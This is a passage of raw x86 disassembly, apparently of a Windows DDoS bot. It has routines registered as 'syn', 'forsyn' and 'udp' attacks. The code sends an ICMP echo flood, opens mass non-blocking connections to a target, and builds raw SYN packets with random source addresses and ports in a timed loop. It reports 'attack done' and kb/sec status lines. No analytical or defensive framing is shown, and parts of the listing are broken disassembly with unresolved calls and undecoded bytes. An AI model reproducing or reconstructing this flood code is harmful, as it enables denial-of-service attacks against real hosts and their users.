		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27C0924h
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E150, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E154, eax
		call	edi
		mov	ecx, dword_50E150
		mov	dword_50E14C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E154
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E14C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E154	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DCF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E672F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D5Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E15C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E35C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 2770149h
		test	eax, eax
		mov	dword_50E360, eax
		jz	short loc_426B9B
		push	offset dword_446F74
		push	5
		push	eax
		push	0
		push	offset dword_50E15C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D5Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		call	near ptr 71AB2B66h
		nop
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2821EEEh
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_426F70	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_4270E0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427171:				; CODE XREF: ___:00427151j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: ___:00427195j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: ___:0042736Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: ___:004271B8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		call	near ptr 27D07EBh
		nop
		mov	[esp+48h], eax
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427265:				; CODE XREF: ___:00427261j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		nop
		call	near ptr 27D07EBh
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4273B9:				; CODE XREF: ___:0042739Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 0AAE4E890h, 0F9A0023Fh
		dd 84004D64h, 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_427417:				; CODE XREF: ___:00427396j
		mov	edi, [esp+18h]


loc_42741B:				; CODE XREF: ___:0042724Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		call	near ptr 77C371D3h
		nop
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_427520	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
